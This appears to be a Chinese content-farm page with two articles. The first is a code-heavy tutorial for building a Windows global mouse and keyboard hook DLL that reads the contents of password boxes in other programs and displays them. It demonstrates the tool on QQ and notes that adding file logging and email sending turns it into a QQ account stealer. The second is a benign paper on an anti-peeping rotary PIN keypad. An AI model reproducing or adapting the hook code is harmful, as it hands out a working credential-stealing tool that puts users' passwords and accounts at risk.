下面是小编为大家带来的利用鼠标键盘钩子截获密码(共含2篇),希望大家能够喜欢!同时,但愿您也能像本文投稿人“我没有心”一样,积极向本站投稿分享好文章。
利用鼠标键盘钩子截获密码
钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。掌握钩子的编程方法是很有必要的
钩子分类 :
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET: 使你可以监视发送到窗口过程的消息
3、WH_DEBUG 调试钩子
4、WH_FOREGROUNDIDLE 当当应用程序的前台线程大概要变成空闲状态时,系统就会调用 WH_FOREGROUNDIDL
5、WH_JOURNALRECORD 监视和记录输入事件
6、WH_JOURNALPLAYBACK 回放用WH_JOURNALRECORD记录事件
7、WH_KEYBOARD 键盘钩子
9、WH_KEYBOARD_LL 低层键盘钩子
10、WH_MOUSE 鼠标钩子
11、WH_MOUSE_LL 底层鼠标钩子
12、WH_SHELL 外壳钩子
13、WH_MSGFILTER 和 WH_SYSMSGFILTER 使我们可以监视菜单,滚动条,消息框等
安装钩子:
调用函数SetWindowsHookEx安装钩子。其函数原型为:
HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )
idHook表示钩子类型,它是和钩子函数类型一一对应的。如,WH_KEYBOARD,WH_MOUSE。
Lpfn是钩子函数的地址。
HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。 (系统钩子必须在DLL中)
dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL。
SetWindowsHookEx返回所安装的钩子句柄。
卸载钩子
调用函数 BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子
定义钩子函数
钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。一般为下:
LRESULT WINAPI MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam)
参数wParam和 lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode包含有关消息本身的信,比如是否从消息队列中移出。
实例:
下面我们通过安装鼠标钩子。和键盘钩子还截获输入的密码,并可查看*密码为例,来说明何何使用钩子。
1,进入向导,新建MFC AppWizard(dll) 取名为GetPass,选择MFC Extension DLL,完成。
2,新建一个CGetPassHook 类,基类:CObject,并加入StartHook,StopHook,函数,如下:
class AFX_EXT_CLASS CGetPassHook : public CObject
{
public:
BOOL StopHook;
BOOL StartHook(HWND hwnd);
CGetPassHook();
virtual ~CGetPassHook();
};
3:加入全局共享数据,如下:
#pragma data_seg(“ShareData”)
HHOOK hKeyBoardHook=NULL; file://keyboar hook
HHOOK hMouseHook=NULL; file://mouse hook
HINSTANCE glhInstance=NULL; file://globle instance
HWND hOutPutWnd=NULL; file://Display Pass Wnd
#pragma data_seg()
4:加入鼠标,键盘钩子处理函数,如下:
LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam)
{ file://鼠标钩子得理函数
LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;
if(nCode>=0)
{
HWND hTargetHwnd=lpMouse->hwnd; file://得到鼠标所在窗口句柄
if(hTargetHwnd)
{
LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); file://得到它的样式
if(style&ES_PASSWORD) file://如果是密码框
{
char szPass[255];
::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);
file://得到密码
::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);
file://显示密码
}
}
}
return CallNextHookEx(hMouseHook,nCode,wParam,lParam);
file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的.传递,
file://可以起到截儿消息的目的,我们这里调用之。
}
LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{ file://keyboard hook proc
if(nCode>=0)
{
HWND hTargetHwnd=GetActiveWindow(); file://get active window
if(hTargetHwnd)
EnumChildWindows(hTargetHwnd,EnumWndProc,0); file://枚举所有窗口
}
return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);
file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,
file://可以起到截儿消息的目的,我们这里调用之。
}
这里要介绍下EnumChildWindows函数,原形如下:
BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam);
hWndParent:为枚举窗口的句柄
lpEnumFunc:枚举函数的地址,
lParam:这里为0
5:加入枚举窗口的函数。如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。
BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)
{ file://enum the child window,find passedit
if(hwnd)
{
LONG style=::GetWindowLong(hwnd,GWL_STYLE); file://得到STYLE
if(style&ES_PASSWORD) file://是密码框
{
char szPass[255];
::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); file://得到PASS
::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); file://显示
return TRUE;
}
}
return TRUE;
}
6:在DEF文件中定义段属性: (这步很重要)
SECTIONS
mydata READ WRITE SHARED
7:完成StartHook,StopHook函数,启动/关闭钩子,如下:
BOOL CGetPassHook::StartHook(HWND hwnd)
{ file://install hoook
hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);
file://mouse hook
hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);
file://keyboard hook
if(hMouseHook&&hKeyBoardHook)
{
hOutPutWnd=hwnd; file://显示密码的句柄
return TRUE;
}
return FALSE;
}
BOOL CGetPassHook::StopHook()
{ file://unstall hook
BOOL mHook=UnhookWindowsHookEx(hMouseHook);
BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);
if(mHook&&kHook)
return TRUE;
return FALSE;
}
8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:
extern HINSTANCE glhInstance; file://记得这里
extern “C” int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
UNREFERENCED_PARAMETER(lpReserved);
if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0(“GETPASS.DLL Initializing!n”);
if (!AfxInitExtensionModule(GetPassDLL, hInstance))
return 0;
new CDynLinkLibrary(GetPassDLL);
glhInstance=hInstance; file://得到句柄
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0(“GETPASS.DLL Terminating!n”);
AfxTermExtensionModule(GetPassDLL);
}
return 1; // ok
}
9:编译,完成DLL部分,
下面建立APP部分。如下:
1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace加入到当前工作区,这样方便。
2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在目录,然后Project->Add to Project-->Files
选择这两个文件。
2:在主对话框中,加入一个EDIT,ID 为IDC_EDIT_PASS
3:在CGetPassWordDlg.h中包含GetPassHook.h文件,声明一个对象。如下:
#include “GetPassHook.h”
class CGetPassWordDlg : public CDialog
{
protected:
CGetPassHook m_hook;
。。。
DECLARE_MESSAGE_MAP()
};
4:在实现文件中:OnInitDialog()中起动HOOK
BOOL CGetPassWordDlg::OnInitDialog()
{
CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS);
m_hook.StartHook(pWnd->GetSafeHwnd()); file://install hook
return TRUE; // return TRUE unless you set the focus to a control
}
5:加入WM_DESTROY消息,在退出程序时停止HOOK,如下:
void CGetPassWordDlg::OnDestroy()
{
CDialog::OnDestroy();
m_hook.StopHook(); file://stop hook
}
6:将GetPass.dll拷贝到。EXE一个目录下,
7:编译,运行.
这样,你在输入任何密码框输入密码时,密码都将截获。就算键盘HOOK失效,移动鼠标到密码框,也都获取*号密码,因为我们安装两个HOOK。启动QQ,输入密码,试下看是否已经截获了密码?将本程序稍做修改,将截获的密码输出到文件,并加入发送邮件攻能,一个QQ盗号器就做成了。
采用滚动数码的鼠标概念防窥视密码键盘
摘要:介绍了一种新颖的个人身份码(PIN)输入方法及其电路。利用鼠标概念和3~5个键,操作人员可以输入任意希望的密码。介绍了这种键盘的关键技术。关键词:个人身份码(PIN)键盘鼠标防窥视密码
随着信息技术的发展,各种交易卡、身份卡也越来越多地进入到人们的日常生活。在这些活动中,经常需要输入几位数码的口令或密码即个人身份码(PersonalIdentifyNumber/PIN)以确认身份。目前,在自动取款机(ATM)上以及储蓄所和大部分证券交易所都使用数码位固定的密码小键盘。这种小键盘一般包括0~9共10个数字键和确认等若干个功能键。这种键盘的主要缺陷是容易被盗窃分子通过观察交易者输入密码的动作或用微型摄像机行装工具密去交易密码,给交易者造成经济损失、给金融机构造成诚信损失。这种键盘也容易被身旁的人窥视,给交易者造成不必要的尴尬。因而要求不断地研究新的保密程度高的身份确认技术,附上PIN被他人窥视和窃取。在一些安全级别要求高的场合,如国家安全、军事指挥机关等可以采用声音谱、眼底图像识别或者多重身份识别方法。有些技术,例如指纹识别技术的身份识别误差较大、成本高,因此目前这种数码位固定的密码键盘仍然是使用场合最广泛的密码输入方法。本文介绍一种在鼠标概念基础上研究开发的密码输入方法,或者称为密码鼠标。这种密码鼠标采和滚动的数码输入方式,只有3~4个键,其输出编码结构、数码传输方法和传输率等与现行密码键盘完全相同,最大的不同是它可以完全防止输入密码时被他人窥视。
1键盘的整体结构和工作原理
从外部看本键盘包括两部分:一部分是选码与操作部分;另一部分是数码显示部分,图1(a)、(b)分别给出了这种键盘的`两种外型图。
选码与操作部分包括功能电路和若干个操作键,除了有与原来键盘相同的功能键外,还有一个选码键(或选码转轮),用该键取代原来键盘的0~910个数字,通过“+”或“-”的方式滚动选定0~9其中之一,然后再选定输入。图2是其结构框图。
显示部分是一个一位的数码显示管,该部分即时显示选码键(或选码转轮)选中的数码。显示部分利用光学原理和光学材料限制数码显示视角。
上述两部分组合,完成密码的输入过程。工作原理如下:开始时键盘的显示部分会显示一个0~9之间的随机数。通过转动转轮改变BCD可逆计数器的数值,当转轮正向转动时,计数器正向计数,即按0-1-2-3-4-5-6-7-8-9-0的规律计数;转轮逆向转动时,计数器逆向计数,即按0-9-8-7-6-5-4-3-2-1-0的规律计数。在该BCD码计数器计数的同时,显示部分即时显示该计数器的数值。当选中要输入的数字时,按动“选定”键,该BCD码并行地存储到锁存器中,然后该BCD码按设定的传输率输出。按顺序全部输入若干位密码后,按“确认”键。
通过加入其它的声光提示信息还可以提高键盘的操作灵活性。
2键盘的实现电路和关键技术
2.1硬件构成
实现上述功能可以采用分立电子元件也可以用单片机实现,还可以用可编程逻辑器件实现。根据现在的技术条件,还可以用可编程逻辑器件实现。根据现在的技术条件,采用单片机实现上述功能比较方便。利用8051单片机的紧凑结构芯片AT89C2051可以在很小的面积上布线,并完成图2的功能。由于AT89C2051的外部输入/输出引线有限,利用软件译码会占用7条输入/输出线,所以在AT89C2051和7段LED数码管之间接一个BCD码到7段显示码译码器CD4056。
从外部看,用P1.0、P1.1、P1.2、P1.3和P3.7作为五个热键(鼠标式的只用三个)的输入;P3.2、P3.3作为选码转轮的输入接口;由P1.4、P1.5、P1.6、P1.7共4位即时传送BCD码到CD4056;CD4056的输出直接驱动7段LED数码管。P3.5为串行通信口,用于传送经确定后的BCD码。
图2
2.2选码转轮和可逆计数器
选码转轮是一个在内径成环形均匀布有12小孔的圆形转轮,在PCB板上设备一个红外发光管和两个红外接收管。转轮转动会切割红外光线,通过光电二极管和转轮上的光孔形成信号,经过整形后利用两个信号输入的先后顺序识别转轮的正反转。
2.3随机数发生器
为了防止他人从输入的动作和规律看出所输密码,键盘的每次启动或每输入一位码后再输入新一位码时,键盘总是在0~9之间随机显示一个数,在此数的基础上再进行加/减计数。这个随机数的产生用单片机一个内部寄存器完成。该寄存器不断进行BCD不带进位的高速加计数,当需要产生随机数时,从该寄存器即时取出当时的计数值。由于取数是操作人员按动“确认”键后进行,是一个随机时刻,所以取出的数也是一个0~之间的随机数。
3视角限制方法
在显示器的前面旋转一层内部平面经过凹凸处理的透光材料。该层材料使与显示器平面法线方向平行的光线不失真射出,使偏离中心的光线发生散射,从而限制显示器在垂直方向的视角,即只允许交易者个人看到显示器的内容。调节显示器的电流使显示器的亮度为一个合适的值。通过调节显示器表现与透光材料的距离h也能达到限制显示器在垂直方向的视角,如图3。
图4是根据上述原理制作的鼠标结构密码键盘图。首先从功能上进行对比实验,对比键盘是深圳某公司出品的码位固定的明码键盘,当输入一个0~9之间的数字时,该键盘串行传送一个9位的二进制码3X,X是要传送的数字。制作的键盘采用相同的编码和传输率,接收端是一台计算机。经过100多次输入6位密码,两者性能完全相同。
设计的显示器视角为15°,即使在操作人员旁边站立,也很难从密码键盘输入端看到应输入的密码。输入速度在开始较慢,经过简单熟悉后,设计制作的鼠标式密码键盘的输入速度与码位固定的明码键盘相同。
此种输入方法最大的优势在于其输出编码结构、数据传输方法和传输率等与现行密码键盘完全相同,不需要另外设计配套接收电路。这种输入方法不局限于金融机构的密码输入,也可以应用在密码锁等其它需要输入若干位PIN的场合。
★ 认识键盘教案
★ 各种键盘使用细则
★ 键盘租赁合同5篇
★ 键盘租赁合同通用
★ 优化键盘玩好游戏
★ 自然密码观后感